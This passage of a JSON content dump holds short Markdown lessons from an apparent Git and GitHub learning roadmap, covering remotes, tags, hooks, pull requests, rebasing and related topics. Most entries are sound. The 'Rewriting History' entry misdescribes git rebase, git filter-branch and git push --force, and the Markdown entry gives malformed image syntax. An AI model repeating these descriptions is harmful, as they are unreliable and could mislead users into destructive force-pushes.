    "content": "# Kanban Boards\n\nOn GitHub, Kanban boards provide a visual representation of issues as they move through the development process.\n\nA Kanban board typically has columns representing different stages or states, such as \"To-Do\", \"In-Progress\", and \"Done\". Each issue is represented by a card on the board, which can be moved between columns as its state changes. Users can drag and drop issue cards to move them from one column to another, reflecting progress or completion.\n\nVisit the following resources to learn more:\n\n- [@official@Projects - Boards - Changing the layout of a view](https://docs.github.com/en/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view)\n- [@video@GitHub Project Management - Create GitHub Project Board & Automations](https://www.youtube.com/watch?v=oPQgFxHcjAw)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/labelling-issues--prs@y4DkB5NvTh41IeT0G2gr-.md",
    "content": "# Labelling Issues / PRs\n\nOn GitHub, labels are a way to categorize issues and pull requests (PRs) by topic, priority, or other criteria. Some common labels used are:\n\n- `Bug`\n- `Duplicate`\n- `Enhancement`\n- `Feature request`\n- `High priority`\n- `Needs feedback`\n\nVisit the following resources to learn more:\n\n- [@official@Managing labels](https://docs.github.com/en/issues/using-labels-and-milestones-to-track-work/managing-labels)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/learn-the-basics@HlUUGj3dOZ68t4gIjerXh.md",
    "content": "# Learn the Basics\n\nA Version Control System (VCS) is a tool that helps developers manage changes to their code over time. It allows multiple versions of a project to exist simultaneously, making it easier to collaborate with others and maintain a record of all modifications.\n\nVisit the following resources to learn more:\n\n- [@article@What is version control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@article@What is Git? - The Complete Guide to Git](https://www.datacamp.com/blog/all-about-git)\n- [@article@Version Control (Git) - The Missing Semester of Your CS Education](https://missing.csail.mit.edu/2020/version-control/)\n- [@video@What is Git? Explained in 2 Minutes!](https://www.youtube.com/watch?v=2ReR1YJrNOM)\n- [@official@GUI Clients](https://git-scm.com/downloads/guis)\n- [@official@Getting Started - Installing Git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git)\n- [@official@Creating an account on GitHub](https://docs.github.com/en/get-started/start-your-journey/creating-an-account-on-github)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/linear-vs-non-linear@lXC07j6dOa3rQixY1P-Ob.md",
    "content": "# Linear vs Non-Linear\n\nIn Git, linear and non-linear history refer to different ways of managing commit history.\n\n- Linear history: A repository with a linear history has commits that are applied in a single, sequential order.\n- Non-linear history: A repository with a non-linear history allows multiple branches or lines of development, which can be merged back into the main branch at different points.\n\nVisit the following resources to learn more:\n\n- [@article@Linear vs Non-Linear History](https://idiv-biodiversity.github.io/git-knowledge-base/linear-vs-nonlinear.html)\n- [@article@Linear git history - Part I](https://jun-sheng.medium.com/linear-git-history-part-i-b97184dde252#:~:text=The%20benefit%20of%20having%20a%20linear%20git%20history&text=It%20is%20easier%20to%20understand,bisect%20to%20track%20a%20bug.)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/local-vs-global-config@tVvxC5JQgUb_B8kOqYpD8.md",
    "content": "# Local vs Global Config\n\nTo manage local and global configuration settings, you can use the git config command with the --local and --global options.\n\n- Local configuration: Run `git config --local [key] [value]` to set a local configuration setting for the current repository.\n- Global configuration: Use `git config --global [key] [value]` to set a global configuration setting that applies to all repositories on your system.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing Git - Git Configuration](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration)\n- [@article@A step-by-step guide to setting up global Git config properties](https://medium.com/geekculture/a-step-by-step-guide-to-setting-up-git-config-global-properties-db6dbce30fa8)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/managing-remotes@sBQOInoFBU9XfkPZ-JlyT.md",
    "content": "# Managing Remotes\n\nIn Git, a remote repository refers to a copy of a project's source code stored on a server or other machine.\n\n- Adding remotes: Use `git remote add [name] [url]` to add a new remote repository. This allows you to track changes and push/pull updates from the remote.\n- Listing remotes: Run `git remote -v` to list all configured remotes with their URLs.\n- Renaming remotes: Update the name of an existing remote using `git remote rename [old-name] [new-name]`.\n- Deleting remotes: Remove a remote repository with `git remote remove [name]`.\n\nManaging remotes is essential for collaborating on projects or tracking changes from upstream sources.\n\nVisit the following resources to learn more:\n\n- [@official@Managing remote repositories](https://docs.github.com/en/get-started/getting-started-with-git/managing-remote-repositories)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/managing-tags@NeU38WPbEphJuJ_AMkH82.md",
    "content": "# Managing Tags\n\nIn Git, a tag is a named reference to a specific commit in the project's history.\n\n- Creating tags: Use `git tag [name] [commit-hash]` to create a new tag. You can also use `git tag -a [name] -m \"[message]\" [commit-hash]` for annotated tags.\n- Listing tags: Run `git tag` to display all existing tags.\n- Deleting tags: Remove an existing tag with `git tag -d [tag-name]`.\n\nTags can be used for marking releases, milestones, or other significant events in a project's history.\n\nVisit the following resources to learn more:\n\n- [@official@Git Basics - Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)\n- [@article@Git — Use Tags for Versioning and Release Management](https://medium.com/@KeyurRamoliya/git-use-tags-for-versioning-and-release-management-09aca9631eee)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/markdown@1Ulxl4VUvRSfyCPpi-iv8.md",
    "content": "# Markdown\n\nMarkdown is a simple way to add formatting to text without using HTML tags or other complex syntax. It's easy to read and write, making it suitable for documentation, README files, and more. Some basic GitHub Markdown features include:\n\n- Basic syntax: Use headers (`# Heading`), bold/italic text (**bold**, *italic*), and lists (- item) to format text.\n- Links: Create links with `[text](url)` or `[text][ref]`.\n- Images: Embed images with `[![alt-text](image-url)]`.\n\nBy using Markdown, you can easily format text within your GitHub repository, making it easier to read and understand for yourself and others.\n\nVisit the following resources to learn more:\n\n- [@official@Basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)\n- [@article@Markdown Cheatsheet](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/marketplace-actions@SsogoCgJIbeTD6tk8UhTe.md",
    "content": "# Marketplace Actions\n\nThe GitHub Marketplace offers a wide range of pre-built actions that can be used to automate tasks and workflows within your repository.\n\n- Automate tasks: Use marketplace actions to automate tasks such as testing, deployment, or security.\n- Customize workflows: Create custom workflows using marketplace actions to tailor the build process to specific needs.\n- Streamline development: By automating repetitive tasks, developers can focus on code quality and collaboration.\n\nThese actions are created by the GitHub community and can be easily added to your workflow to enhance productivity and efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub MarketPlace - Actions](https://github.com/marketplace?type=actions)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/mentions@oWMaOWU06juoIuzXNe-wt.md",
    "content": "# Mentions\n\nMentions on GitHub allow you to notify specific users or teams about comments, issues, pull requests, or other activities. This feature improves collaboration by encouraging participation and discussion among team members, increasing visibility of important topics, and streamlining communication within your repository. To use mentions, simply type `@username` or `@teamname` in a comment, and GitHub will auto-complete the mention as you type, automatically linking their username to the comment and notifying them about the discussion.\n\nVisit the following resources to learn more:\n\n- [@official@Mention Somebody](https://github.blog/news-insights/mention-somebody-they-re-notified/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/merge-strategies@0rHDUbAdXqH9zQW2VfJ8v.md",
    "content": "# Merge Strategies\n\nWhen combining changes from one branch into another, Git provides various merge strategies to choose from. These methods allow for flexibility and customization in integrating code updates into your main branch. The available options include:\n\n- Fast Forward (FF)\n- Non-Fast Forward\n- Rebase\n- Squash\n- Cherry Picking\n\nVisit the following resources to learn more:\n\n- [@official@Git Merge Strategies](https://git-scm.com/docs/merge-strategies)\n- [@article@Git Merge Options](https://www.atlassian.com/git/tutorials/using-branches/merge-strategy)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/merging-basics@sNuy6NMjLOEkJlqdEjFPq.md",
    "content": "# Merging Basics\n\nA merge in Git is the process of combining changes from one branch into another. When you want to integrate updates from one branch (the source) into another branch (the target), you need to perform a merge. This involves resolving conflicts between the two branches, if any exist. The goal of merging is to create a new commit that represents the combined changes from both branches, resulting in a single, cohesive history for your project.\n\nVisit the following resources to learn more:\n\n- [@official@Git Branching - Basic Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging#:~:text=into%20master%20later.-,Basic%20Merging,-Suppose%20you%E2%80%99ve%20decided)\n- [@article@Git merge](https://www.atlassian.com/git/tutorials/using-branches/git-merge)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/more-git@aZMVz6kc52vLGcZFD9Dgh.md",
    "content": "# More Git\n\nGit offers several advanced features to manage complex scenarios, including hard resets with `git reset`, reverting changes with `git revert`, reordering commits with `git rebase`, merging in new changes with `git merge`, squashing commits into a single change, temporarily saving uncommitted changes with `git stash` and then applying them with `git stash apply`, and selectively picking specific commits from one branch to apply on another with `git cherry-pick`.\n\nLearn more from the following resources:\n\n- [article@Resetting, checking out & reverting](https://www.atlassian.com/git/tutorials/resetting-checking-out-and-reverting)\n- [@article@Git Reset and Revert Tutorial for Beginners](https://www.datacamp.com/tutorial/git-reset-revert-tutorial)\n- [@article@Git Rebase vs Merge vs Squash: Choosing the Right Strategy for Version Control](https://medium.com/@shikha.ritu17/git-rebase-vs-merge-vs-squash-choosing-the-right-strategy-for-version-control-a9c9bb97040e)\n- [@article@Git stash](https://www.atlassian.com/git/tutorials/saving-changes/git-stash)\n- [article@Git cherry pick](https://www.atlassian.com/git/tutorials/cherry-pick)\n- [@video@How To Squash Your Git History Like A Pro](https://www.youtube.com/watch?v=RwvTrSm7zEY)\n- [@video@Git cherry pick tutorial. How to use git cherry-pick.](https://www.youtube.com/watch?v=wIY824wWpu4)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/more-github@sti_TAgZvSpuFWtygAsKc.md",
    "content": "# More GitHub\n\nIn addition to Git, GitHub provides several features that enhance collaboration and project management. GitHub Actions allows for automating workflows and testing code within the platform, while the GitHub CLI enables users to interact with GitHub from their local terminal using commands like `gh`. Additionally, GitHub supports Markdown formatting for creating readable documentation and comments, which can be used in repositories and issues.\n\nLearn more from the following resources:\n\n- [@course@Microsoft Learn: Introduction to GitHub Actions](https://learn.microsoft.com/en-us/collections/n5p4a5z7keznp5)\n- [@course@YouTube: GitHub Actions Playlist](https://www.youtube.com/watch?v=-hVG9z0fCac&list=PLArH6NjfKsUhvGHrpag7SuPumMzQRhUKY&pp=iAQB)\n- [@official@GitHub CLI](https://cli.github.com/)\n- [@official@GitHub CLI quickstart](https://docs.github.com/en/github-cli/github-cli/quickstart)\n- [@official@Basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)\n- [@article@Markdown Cheatsheet](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/oauth-apps@qrdOARfqGPF9xhF6snbAn.md",
    "content": "# OAuth Apps\n\nGitHub OAuth Apps allow developers to integrate with GitHub using OAuth 2.0 authentication. They enable secure, token-based access to specific GitHub resources like repositories, issues, and pull requests. OAuth Apps can automate tasks, personalize interactions, and provide real-time notifications through webhooks, all while allowing users to approve only the necessary permissions without sharing their credentials.\n\nVisit the following resources to learn more:\n\n- [@official@Creating an OAuth app](https://docs.github.com/en/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app)\n- [@video@GitHub Login With React (GitHub APIs, GitHub OAuth 2.0 Authentication)](https://www.youtube.com/watch?v=rRn2EisxPl4)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/post-checkout@SANEQI2rgOtsMQyn4qUCq.md",
    "content": "# post-checkout\n\nGit post-checkout hooks are scripts that run automatically after a successful `git checkout` operation. These hooks provide a way to customize Git's behavior and perform specific actions when switching branches or updating the working directory. Post-checkout hooks can be used for tasks such as updating dependencies, regenerating files, or adjusting project settings based on the newly checked-out branch. They offer developers a powerful tool to automate workflows and maintain consistency across different branches in a Git repository.\n\nVisit the following resources to learn more:\n\n- [@official@Post-checkout hooks](https://git-scm.com/docs/githooks#_post_checkout)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/post-update@buxb5TpzQ-xxn0vqtGdS3.md",
    "content": "# post-update\n\nGit post-update hooks are scripts that run automatically after a successful push to a repository. These hooks are executed on the remote repository and are typically used for server-side tasks such as updating other services, triggering continuous integration processes, or notifying team members about changes. Post-update hooks provide a powerful mechanism for automating workflows and maintaining consistency across different parts of a project's infrastructure, making them an essential tool for streamlining development processes and enhancing collaboration in Git-based projects.\n\nVisit the following resources to learn more:\n\n- [@official@Post-update hooks](https://git-scm.com/docs/githooks#post-update)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pr-from-a-fork@8lXXVFkgK6n5IHaYkYe3l.md",
    "content": "# PR from a Fork\n\nCreating a pull request from a fork on GitHub is a common workflow for contributing to open-source projects or collaborating on repositories you don't have direct write access to. After forking the original repository to your GitHub account, you can make changes in your fork, commit them, and then create a pull request to propose these changes to the original repository. This process allows project maintainers to review your contributions, discuss any necessary modifications, and ultimately merge your changes into the main project if they're approved. It's an essential feature that facilitates collaboration and code review in distributed development environments.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a pull request from a fork](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)\n- [@video@How to Create a Pull Request from a Fork on GitHub](https://www.youtube.com/watch?v=a_FLqX3vGR4)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pr-guidelines@GwDNk2HBjASr_NWIL4G3-.md",
    "content": "# PR Guidelines\n\nPull Request (PR) guidelines are essential for maintaining a smooth and efficient code review process in collaborative development environments. These guidelines typically outline best practices for creating, formatting, and submitting PRs, ensuring that changes are well-documented, easy to review, and align with the project's standards. They may cover aspects such as PR size, commit message formatting, documentation requirements, and testing expectations. By establishing clear PR guidelines, teams can streamline their workflow, improve code quality, and facilitate effective communication among contributors.\n\nVisit the following resources to learn more:\n\n- [@official@Best Practices for Pull Requests](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/getting-started/best-practices-for-pull-requests)\n- [@article@Pull Request Guidelines](https://opensource.creativecommons.org/contributing-code/pr-guidelines/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pre-commit@HhpAIzYMlMiQ9msrYZyDB.md",
    "content": "# pre-commit\n\nGit pre-commit hooks are scripts that run automatically before a commit is created, allowing developers to enforce code quality standards and catch issues early in the development process. These hooks can perform tasks such as linting, formatting, running tests, or checking for sensitive information, ensuring that only clean and compliant code is committed to the repository. By intercepting the commit process, pre-commit hooks help maintain code consistency, reduce errors, and streamline the overall development workflow, making them a valuable tool for enforcing best practices and improving code quality across a project.\n\nVisit the following resources to learn more:\n\n- [@opensource@pre-commit/pre-commit](https://github.com/pre-commit/pre-commit)\n- [@official@Git Hooks](https://www.atlassian.com/git/tutorials/git-hooks)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pre-push@j5kWEUKwBFg5EMm8-61K9.md",
    "content": "# pre-push\n\nGit pre-push hooks are scripts that run automatically before a push operation is executed, providing a final checkpoint to validate changes before they are shared with a remote repository. These hooks allow developers to perform last-minute checks, such as running tests, linting code, or verifying commit messages, to ensure that only high-quality and compliant code is pushed. By intercepting the push process, pre-push hooks help maintain code integrity, prevent accidental pushes of incomplete or broken code, and enforce project-specific rules, making them a valuable tool for maintaining code quality and consistency across distributed development teams.\n\nVisit the following resources to learn more:\n\n- [@article@pre-push hooks](https://dev.to/jameson/pre-push-hooks-42g5)\n- [@video@Detect secrets with a pre-commit git hook](https://www.youtube.com/watch?v=8bDKn3y7Br4)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/private-vs-public@HEqBbw_A4ZbJI5zEy8ViN.md",
    "content": "# Private vs Public\n\nGitHub offers both private and public repositories, each serving different purposes in software development. Public repositories are visible to everyone on the internet, making them ideal for open-source projects, collaboration, and showcasing work to a wider audience. They encourage community contributions and can help developers build their portfolios. Private repositories, on the other hand, are only accessible to the repository owner and designated collaborators. These are suitable for proprietary code, sensitive projects, or work that's not ready for public consumption. Private repositories offer greater control over access and visibility, making them essential for businesses and individuals who need to keep their code confidential.\n\nVisit the following resources to learn more:\n\n- [@official@About project visibility](https://docs.github.com/en/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/profile-readme@KbVvFVQ4k77R2_ddsc7WT.md",
    "content": "# Profile Readme\n\nA GitHub Profile README is a special repository that allows users to showcase their skills, projects, and personality directly on their GitHub profile. To create one, you need to make a new repository with the same name as your GitHub username. This repository should contain a README.md file, which GitHub will automatically display on your profile page. The README can be customized with Markdown formatting, allowing you to add text, images, links, and even dynamic content like GitHub stats or recent blog posts. This feature provides a unique opportunity to make your GitHub profile more engaging and informative for visitors, effectively serving as a personalized landing page for your GitHub presence.\n\nVisit the following resources to learn more:\n\n- [@official@Managing your Profile README](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme)\n- [@video@GitHub Profile README](https://www.youtube.com/watch?v=KhGWbt1dAKQ)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/project-planning@q0zy_hXav5iXw8LpGVJVd.md",
    "content": "# Project Planning\n\nProject planning on GitHub is a comprehensive process that leverages the platform's built-in tools to organize, track, and manage software development projects efficiently. It typically involves using features such as Issues for task tracking, Projects for kanban-style boards, Milestones for grouping related issues and pull requests, and Labels for categorization. These tools, combined with GitHub's collaborative features like pull requests and code reviews, enable teams to create structured workflows, set priorities, assign tasks, and monitor progress throughout the development lifecycle. By centralizing project management within the same platform used for version control, GitHub streamlines communication and enhances productivity for development teams of all sizes.\n\nVisit the following resources to learn more:\n\n- [@official@Project planning for developers](https://github.com/features/issues)\n- [@video@GitHub Project Management](https://www.youtube.com/watch?v=oPQgFxHcjAw)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/project-readme@WIVr7JxO1AJTNObW8mtY3.md",
    "content": "# Project Readme\n\nA GitHub project README is a crucial document that serves as the front page of a repository, providing essential information about the project. It typically includes a brief description of the project's purpose, installation instructions, usage guidelines, and contribution procedures. A well-crafted README helps visitors quickly understand the project's goals, how to get started, and how they can participate. It often contains badges indicating build status, code coverage, and other metrics, as well as links to documentation, issue trackers, and community channels. By effectively communicating the project's value and guiding new users and potential contributors, a good README significantly enhances a project's visibility, adoption, and collaboration potential on GitHub.\n\nVisit the following resources to learn more:\n\n- [@official@About READMEs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)\n- [@article@How to write a good README](https://bulldogjob.com/readme/how-to-write-a-good-readme-for-your-github-project)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pull-requests@s3MzDYFPMASqiS8UnvWzW.md",
    "content": "# Pull Requests\n\nYou can use GitHub CLI to manage pull requests with the following commands:\n\n- `gh pr create`: Create a new pull request.\n- `gh pr merge`: Merge a pull request into the target branch.\n- `gh pr list`: List all pull requests for a repository.\n- `gh pr view`: View details of a specific pull request.\n\nVisit the following resources to learn more:\n\n- [@official@gh pr](https://cli.github.com/manual/gh_pr)\n- [@video@Use GitHub CLI For Command Line Pull Request Management](https://www.youtube.com/watch?v=Ku9_0Mftiic)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pull-requests@x6eILrLCQrVpz4j8uOuy6.md",
    "content": "# Pull Requests\n\nA pull request is a proposal to merge a set of changes from one branch into another. In a pull request, collaborators can review and discuss the proposed set of changes before they integrate the changes into the main codebase. Pull requests display the differences, or diffs, between the content in the source branch and the content in the target branch.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a pull request](https://docs.github.com/articles/creating-a-pull-request)\n- [@article@Pull Requests](https://www.atlassian.com/git/tutorials/making-a-pull-request#:~:text=In%20their%20simplest%20form%2C%20pull,request%20via%20their%20Bitbucket%20account.)\n- [@video@GitHub Pull Request in 100 Seconds ](https://youtu.be/8lGpZkjnkt4?si=qbCQ8Uvzn9GN2koL)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pushing--pulling-changes@ZVMCh9om37ee1qsecFa-N.md",
    "content": "# Pushing / Pulling Changes\n\nWhen you pull changes in Git, you're fetching and integrating changes from a remote repository into your local repository. This operation updates your local branch with the latest changes from the remote branch. Whereas When you push changes in Git, you're sending your local commits to a remote repository, such as GitHub, GitLab, or Bitbucket. This operation updates the remote repository with your latest changes.\n\nVisit the following resources to learn more:\n\n- [@official@Pushing commits to a remote repository](https://docs.github.com/en/get-started/using-git/pushing-commits-to-a-remote-repository)\n- [@article@A Comprehensive Guide to git pull and git push](https://dev.to/alexmercedcoder/mastering-git-a-comprehensive-guide-to-git-pull-and-git-push-2eo3)\n- [@article@Git Push and Pull Tutorial](https://www.datacamp.com/tutorial/git-push-pull)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/pushing-tags@E3HAGNM-kXLL4Oci5JzpQ.md",
    "content": "# Pushing Tags\n\nPushing tags in Git is the process of sharing your local tags with a remote repository. Tags in Git are used to mark specific points in the repository's history, typically to signify a release or a milestone.\n\nVisit the following resources to learn more:\n\n- [@article@Tagging in git](https://git-scm.com/book/en/Git-Basics-Tagging)\n- [@article@How to Push Git Tags to Remote](https://kodekloud.com/blog/how-to-push-git-tags-to-remote/)\n- [@article@Git Push Tag to Remote Guide](https://phoenixnap.com/kb/git-push-tag)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/reactions@XstmIysIi_lWo6RzszLBt.md",
    "content": "# Reactions\n\nReactions in GitHub are a way for users to express their feelings or opinions about issues, pull requests, comments, and other discussions without adding additional comments. They are similar to \"likes\" or \"emojis\" on social media platforms, providing a quick and non-verbal way to engage with content.\n\nVisit the following resources to learn more:\n\n- [@official@Add Reactions to Pull Requests, Issues, and Comments](https://github.blog/news-insights/product-news/add-reactions-to-pull-requests-issues-and-comments/)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/rebase@99FVJ3Zs8n6lr8L95mG6g.md",
    "content": "# Rebase\n\nRebasing in Git is a powerful and potentially complex feature used to reorganize or modify a series of commits. The primary purpose of rebasing is to create a cleaner, more linear project history by moving or combining changes from one branch into another.\n\nVisit the following resources to learn more:\n\n- [@official@Rebasing](https://git-scm.com/book/en/v2/Git-Branching-Rebasing)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/renaming-branch@_dPOVUbxApx0pfKPH8fgr.md",
    "content": "# Renaming Branch\n\nRenaming a branch in Git means changing the name of a branch to something different while preserving its history and the commits it contains. The branch itself remains the same in terms of the code and history it tracks, but the reference (the name by which you refer to it) is updated\n\nVisit the following resources to learn more:\n\n- [@official@Renaming a Branch - GitHub Docs](https://docs.github.com/github/administering-a-repository/renaming-a-branch)\n- [@article@Git Rename Branch – How to Change a Local Branch Name](https://www.freecodecamp.org/news/git-rename-branch-how-to-change-a-local-branch-name/)\n"
  },
  {
    "path": "src/data/roadmaps/git-github/content/repository-management@lw4zHuhtxIO4kDvbyiVfq.md",
    "content": "# Repository management\n\nUsing GitHub CLI for repository management allows you to streamline tasks and work more efficiently. ou can use GitHub CLI to manage repositories with the following commands:\n\n- `gh repo create`: Create a new repository.\n- `gh repo delete`: Delete an existing repository.\n- `gh repo visibility`: Change the repository's visibility (public or private).\n- `gh repo topic`: Manage topic labels for a repository.\n\nVisit the following resources to learn more:\n\n- [@official@gh repo](https://cli.github.com/manual/gh_repo)\n- [@article@Efficient GitHub Operations: Simplifying Repository Management using GitHub CLI](https://dev.to/yutee_okon/efficient-github-operations-simplifying-repository-management-using-github-cli-190l)\n- [@video@GitHub CLI (gh) - How to manage repositories more efficiently](https://www.youtube.com/watch?v=BII6ZY2Rnlc)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/rest-api@lSCnKhmRr6xrKVYxO8idD.md",
    "content": "# REST API\n\nThe GitHub REST API is a set of APIs that provide access to various GitHub features, such as user data, repository information, and commit history. It allows developers to interact with the GitHub platform programmatically.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub REST API documentation](https://docs.github.com/en/rest?apiVersion=2022-11-28)\n- [@official@Quickstart for GitHub REST API](https://docs.github.com/en/rest/quickstart?apiVersion=2022-11-28)\n- [@video@[Tutorial] - How to use GitHub REST API for Beginners](https://www.youtube.com/watch?v=OvfLavRD1Os)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/rewriting-history@sOoC-XxEoIvwKct00oKlX.md",
    "content": "# Rewriting History\n\nIn certain situations, you might need to modify or remove commits from your Git repository's history. This can be achieved using various methods:\n\n- `git commit --amend`: Allows you to edit the most recent commit.\n- `git rebase`: Replaces one branch with another, preserving the commit history.\n- `git filter-branch`: Removes specific commits from a branch without altering the original branch.\n- `git push --force`: Updates the remote repository while respecting existing pull requests.\n\nRewriting history in Git is typically necessary when:\n\n- Fixing mistakes: Correcting errors or typos in commit messages.\n- Removing sensitive data: Deleting confidential information from commits, like API keys or database credentials.\n- Simplifying complex histories: Reorganizing branches to improve clarity and reduce complexity.\n\nVisit the following resources to learn more:\n\n- [@official@Git Tools - Rewriting History](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)\n- [@article@Methods of Rewriting History in Git](https://www.atlassian.com/git/tutorials/rewriting-history)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/roadmaps@sxvT2hGko2PDRBoBrCGWD.md",
    "content": "# Roadmaps\n\nGitHub Roadmaps are a feature that helps you visualize and organize plans for your projects, allowing you to create a high-level view of milestones and goals, and collaborate on planning and tracking progress with team members.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing the Roadmap Layout](https://docs.github.com/en/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout)\n- [@video@Learn how to use Project Roadmaps - GitHub Checkout](https://www.youtube.com/watch?v=D80u__nYYWw)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/saved-replies@dQS1V0zZxeKhHhUo3STBK.md",
    "content": "# Saved Replies\n\nGitHub allows you to save frequently used comments and reuse them when discussing issues or pull requests.\n\n- Saved replies: You can create pre-written comments that can be easily added to conversations.\n- Customization: Saved replies can be edited to fit specific situations, making it easy to tailor your responses.\n\nVisit the following resources to learn more:\n\n- [@official@Using saved replies](https://docs.github.com/en/get-started/writing-on-github/working-with-saved-replies/using-saved-replies)\n- [@article@Walkthrough: Using GitHub’s “Saved Replies” to make life consistent and easy](https://prowe214.medium.com/walkthrough-using-githubs-saved-replies-to-make-life-consistent-and-easy-80f23efe6a0)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/scheduled-worfklows@uS1H9KoKGNONvETCuFBbz.md",
    "content": "# Scheduled Worfklows\n\nGitHub Actions allows you to schedule workflows to run at specific times or intervals. You can set up workflows to automatically run at predetermined times, such as daily or weekly.\n\nVisit the following resources to learn more:\n\n- [@official@Events that trigger workflows - Schedule](https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#schedule)\n- [@video@GitHub Actions - How to Schedule workflows in GitHub](https://www.youtube.com/watch?v=StipNrK__Gk)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/secrets-and-env-vars@aflP7oWsQzAr4YPo2LLiQ.md",
    "content": "# Secrets and Env Vars\n\nGitHub provides features to securely store and manage sensitive data, such as secrets and environment variables.\n\n- Secrets: These are sensitive values that should not be committed to a repository, like API keys or database credentials.\n- Environment Variables: They can be used to set values for your workflow or application, making it easier to manage dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@Using secrets in GitHub Actions](https://docs.github.com/en/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions)\n- [@official@Store information in variables](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables)\n- [@video@Secrets and Environment Variables in your GitHub Action](https://www.youtube.com/watch?v=dPLPSaFqJmY)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/setting-up-profile@GS3f1FKFVKT0-GJQrgCm8.md",
    "content": "# Setting up Profile\n\nOn GitHub, creating a profile is an essential step in showcasing yourself as a developer or contributor.\n\n- Sharing information: Your profile page allows others to find out more about you, including your interests and skills.\n- Showcasing projects: You can display your notable projects and contributions, giving a glimpse into your work experience.\n- Expressing identity: The profile also serves as an opportunity for personal expression, allowing you to convey your unique personality and style within the GitHub community.\n\nVisit the following resources to learn more:\n\n- [@official@Setting up your profile](https://docs.github.com/en/get-started/start-your-journey/setting-up-your-profile)\n- [@video@GitHub Profile Readme](https://www.youtube.com/watch?v=KhGWbt1dAKQ)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/squash@Z-srOhYFGVEKDexlJ6cjt.md",
    "content": "# Squash\n\nSquashing in Git, refers to the process of combining multiple commits into a single commit. This is often done to create a cleaner and more concise commit history, especially before merging a feature branch into the main branch.\n\nVisit the following resources to learn more:\n\n- [@article@Git Squash Commits](https://www.freecodecamp.org/news/git-squash-commits/)\n- [@article@How to Squash Commits in Git](https://medium.com/iosnesia/how-to-squash-commits-in-git-e73a41248211)\n- [@video@GIT Tutorial - How to Squash Commits](https://youtu.be/viY1BbKZhSI?si=kORsEzQvCRFGauQa)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/staged-changes@mzjtCdpke1ayHcEuS-YUS.md",
    "content": "# Staged Changes\n\nTo view the changes you've staged with `git add`, but not yet committed, use `git diff --cached`. This command compares the staged files against their original versions in the repository. It's a quick way to review what you're about to commit before finalizing it.\n\nVisit the following resources to learn more:\n\n- [@article@What does Staged Changes mean in Git?](https://dillionmegida.com/p/staged-changes-in-git/)\n- [@video@What are Staged Changes in Git?](https://www.youtube.com/watch?v=HyeNfWZBut8)"
  },
  {
    "path": "src/data/roadmaps/git-github/content/staging-area@h71Tx3nkfUrnhaqcHlDkQ.md",
